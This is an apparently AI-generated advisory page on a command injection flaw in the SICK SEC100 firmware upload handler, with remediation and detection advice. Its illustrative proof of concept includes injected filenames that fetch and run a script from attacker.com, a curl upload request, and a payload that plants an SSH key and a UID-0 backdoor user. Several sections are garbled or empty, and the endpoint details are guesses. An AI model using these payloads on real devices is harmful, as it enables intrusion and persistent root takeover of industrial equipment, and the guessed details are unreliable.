CVE-2026-107133 — SICK AG SEC100 (2.3.0) — CWE-78
A command injection vulnerability exists in the device's firmware update upload handler where commands embedded into the filename are executed by shell-invoked helpers. By crafting a filename that performs a two-stage fetch-and-execute, an attacker with Service-level access can deliver and run an arbitrary script on the device, allowing persistent root access by appending an SSH public key to the device's authorized keys store.
A command injection vulnerability exists in the device's firmware update upload handler where commands embedded into the filename are executed by shell-invoked helpers. By crafting a filename that performs a two-stage fetch-and-execute, an attacker with Service-level access can deliver and run an arbitrary script on the device, allowing persistent root access by appending an SSH public key to the device's authorized keys store.
🎯 What is this vulnerability?
This vulnerability is a Command Injection (CWE-78) flaw located within the firmware update upload mechanism of SICK AG's SEC100 and SEC200 devices. The core technical failure is the lack of input sanitization on the filename parameter provided during the firmware upload process.
Specifically, the application passes the user-supplied filename directly into a shell-invoked helper script or system call (e.g., sh -c "cp $filename /tmp/firmware.bin" or similar) without escaping special shell characters. This allows an attacker to break out of the intended command context and execute arbitrary shell commands.
Key Technical Details:
- Attack Vector (AV:N): The vulnerability is exploitable over the network.
- Privileges Required (PR:H): The attacker must possess Service-level access. In the context of industrial control systems (ICS) and SICK devices, this typically implies a valid, authenticated session with elevated privileges (often referred to as "Service" or "Maintenance" mode), which is distinct from standard "Operator" or "Viewer" roles.
- Impact (C:H/I:H/A:H): Successful exploitation leads to full compromise of the device's operating system, allowing the attacker to read all data, modify system configurations, and disrupt operations.
- Fingerprinting: The attacker identifies the target as a SICK SEC100 or SEC200 device. This can be done via: * Banner grabbing on standard web ports (80/443) looking for
- Credential Acquisition: Since
PR:His required, the attacker must first obtain valid Service-level credentials. This could be achieved through:
* Credential stuffing or brute-forcing if weak passwords are used.
* Social engineering of maintenance personnel.
* Exploiting a separate, lower-severity vulnerability to escalate privileges from Operator to Service.
⚡ Attack Chain
1. Discovery & Reconnaissance
SICK in the Server header or HTML meta tags.
* Checking the device's web interface for specific UI elements associated with firmware management.
* Using tools like nmap with ICS-specific scripts (e.g., sick-sec100 if available in NSE) or manual HTTP requests to the firmware upload endpoint.
2. Exploitation
The attacker crafts a malicious filename that injects shell commands. The description mentions a "two-stage fetch-and-execute" strategy. This implies the attacker first uploads a payload (or uses a command to fetch one) and then executes it.Illustrative PoC (Note: Exact endpoint URI and parameter names are not specified in the CVE description. The following is a generic representation of the vulnerability class):
Assume the firmware upload endpoint is /api/firmware/upload and accepts a multipart/form-data POST request with a file field named firmware_file.
Step 1: Craft the Malicious Filename
The attacker creates a file with a name that breaks out of the shell command. For example, if the backend executes cp $filename /tmp/fw.bin, the attacker can use a filename like:"; curl http://attacker.com/payload.sh -o /tmp/payload.sh; sh /tmp/payload.sh; #
However, the CVE specifies a "two-stage fetch-and-execute" via the filename itself. A more likely scenario is that the filename is used in a command that allows chaining. Let's assume the backend does something like:sh -c "process_firmware $filename"
The attacker can use a filename that executes a command to download and run a script:filename: "test.bin; wget http://attacker.com/root.sh -O /tmp/root.sh; chmod +x /tmp/root.sh; /tmp/root.sh; #"
Step 2: Send the Request
# Illustrative curl command
curl -X POST "http://<target_ip>/api/firmware/upload" \
-H "Authorization: Bearer <service_token>" \
-F "[email protected];filename=test.bin; wget http://attacker.com/root.sh -O /tmp/root.sh; chmod +x /tmp/root.sh; /tmp/root.sh; #"Note: The exact syntax depends on how the backend constructs the shell command. The ; or && operators are used to chain commands. The # comments out the rest of the original command to prevent syntax errors.
Step 3: Payload Execution
The root.sh script downloaded from the attacker's server contains the logic to achieve persistent root access. For example:
#!/bin/sh
# Add attacker's SSH public key to authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQ... attacker@attacker" >> /root/.ssh/authorized_keys
# Ensure SSH service is running
service sshd start
# Optional: Create a backdoor user
useradd -o -u 0 -g 0 -s /bin/sh backdoor3. Post-Exploitation
/root/.ssh/authorized_keys. They can log in as root via SSH without a password.🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching
2. Workarounds
;, &, |, $, (, ), etc.).3. Detection
POST /api/firmware/upload HTTP/1.1 with filename= containing ;, &&, or |.
/var/log/auth.log or equivalent for successful root logins./root/.ssh/authorized_keys, /etc/passwd, and /etc/shadow. Alert on any unauthorized modifications.⚠️ Urgency
While the vulnerability requires Service-level access, which may not be easily obtainable in a well-secured environment, the impact is severe (full root compromise). Organizations should prioritize patching these devices, especially if they are exposed to untrusted networks or if Service-level credentials are widely known or weak. Immediate action is recommended to mitigate the risk of full device compromise.
[🤖 CVE Professor AI Security Engine]
FOFA Query